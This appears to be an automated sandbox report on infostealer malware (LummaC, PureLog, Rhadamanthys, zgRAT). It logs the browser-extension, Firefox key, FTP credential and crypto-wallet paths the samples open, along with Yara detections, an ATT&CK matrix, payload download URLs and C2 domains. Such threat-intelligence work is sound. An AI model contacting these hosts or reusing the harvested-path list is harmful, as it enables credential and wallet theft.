Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000017.00000003.3217409529.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.3217240295.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.3263009868.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 37179ed0b8.exe PID: 7240, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 37179ed0b8.exe PID: 7240, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 7.2.fba63623fe.exe.3d094e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.fba63623fe.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.fba63623fe.exe.3cc3198.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.fba63623fe.exe.3d094e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000D.00000003.2896849334.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2902463991.0000000000BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2906192024.0000000005490000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2917910047.0000000003200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match

File source: 7.2.fba63623fe.exe.3cc3198.2.raw.unpack, type: UNPACKEDPE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BAEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_00BAEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BADF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_00BADF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	112 Process Injection	11 Deobfuscate/Decode Files or Information	21 Input Capture	21 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	5 Obfuscated Files or Information	Security Account Manager	345 System Information Discovery	SMB/Windows Admin Shares	21 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	12 Software Packing	NTDS	1171 Security Software Discovery	Distributed Component Object Model	2 Clipboard Data	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	26%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	26%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	47%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://31.41.244.11/files/x3team/random.exe	100%	Avira URL Cloud	phishing
http://185.215.113.16/luma/random.exec.exe	0%	Avira URL Cloud	safe
https://grannyejh.lat/9wv	100%	Avira URL Cloud	malware
https://grannyejh.lat/nN2uku	100%	Avira URL Cloud	malware
http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt	0%	Avira URL Cloud	safe
http://specs.openid.net/extensions/pape/1.0	0%	Avira URL Cloud	safe
http://specs.openid.net/auth/2.0$dnoa.request_nonce	0%	Avira URL Cloud	safe
https://lossekniyyt.click/ck/	0%	Avira URL Cloud	safe
http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical	0%	Avira URL Cloud	safe
https://grannyejh.lat:443/api	100%	Avira URL Cloud	malware
https://grannyejh.lat/(	100%	Avira URL Cloud	malware
https://lossekniyyt.click/OO	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeA	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe8	0%	Avira URL Cloud	safe
http://specs.openid.net/extensions/oauth/1.0	0%	Avira URL Cloud	safe
http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o	0%	Avira URL Cloud	safe
http://31.41.244.11/files/dodo/random.exe	100%	Avira URL Cloud	phishing
https://grannyejh.lat/api-18	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exeJ	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.	0%	Avira URL Cloud	safe
http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/	0%	Avira URL Cloud	safe
http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h	0%	Avira URL Cloud	safe
https://grannyejh.lat/apiR	100%	Avira URL Cloud	malware
http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu	0%	Avira URL Cloud	safe
https://lossekniyyt.click/	0%	Avira URL Cloud	safe
https://grannyejh.lat/apiO	100%	Avira URL Cloud	malware
https://grannyejh.lat/apiM	100%	Avira URL Cloud	malware
http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/	0%	Avira URL Cloud	safe
http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/	0%	Avira URL Cloud	safe
http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/	0%	Avira URL Cloud	safe
http://31.41.244.11/files/fate/random.exe9	0%	Avira URL Cloud	safe
http://31.41.244.11/files/x3team/random.exe76	0%	Avira URL Cloud	safe
http://31.41.244.11/files/fate/random.exee	0%	Avira URL Cloud	safe
http://specs.openid.net/auth/2.0	0%	Avira URL Cloud	safe
https://grannyejh.lat/apiTH	100%	Avira URL Cloud	malware
http://schemas.openid.net/pape/policies/2007/06/none	0%	Avira URL Cloud	safe
https://grannyejh.lat/apiQVU3Yu	100%	Avira URL Cloud	malware
https://grannyejh.lat/)4	100%	Avira URL Cloud	malware
https://lossekniyyt.click/api	0%	Avira URL Cloud	safe
http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf	0%	Avira URL Cloud	safe
http://specs.openid.net/extensions/ui/icon	0%	Avira URL Cloud	safe
http://namespace.google.com/openid/xmlns	0%	Avira URL Cloud	safe
https://grannyejh.lat/teAB	100%	Avira URL Cloud	malware
http://schemas.openid.net/pape/policies/2007/06/phishing-resistantxhttp://schemas.openid.net/pape/po	0%	Avira URL Cloud	safe
https://grannyejh.lat/Iw	100%	Avira URL Cloud	malware
http://specs.openid.net/extensions/ui/1.0hhttp://specs.openid.net/extensions/ui/1.0/mode/popupfhttp:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pancakedipyps.click	172.67.209.202	true	false	high
lossekniyyt.click	172.67.131.246	true	true	unknown
grannyejh.lat	172.67.179.109	true	false	high
home.twentytk20pn.top	185.185.71.170	true	false	high
httpbin.org	98.85.100.80	true	false	high
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
aspecteirs.lat	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
sustainskelet.lat	false		high
rapeflowwj.lat	false		high
https://pancakedipyps.click/api	false		high
energyaffai.lat	false		high
grannyejh.lat	false		high
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe	false		high
pancakedipyps.click	false		high
necklacebudi.lat	false		high
crosshuaht.lat	false		high
https://lossekniyyt.click/api	true	Avira URL Cloud: safe	unknown
https://httpbin.org/ip	false		high

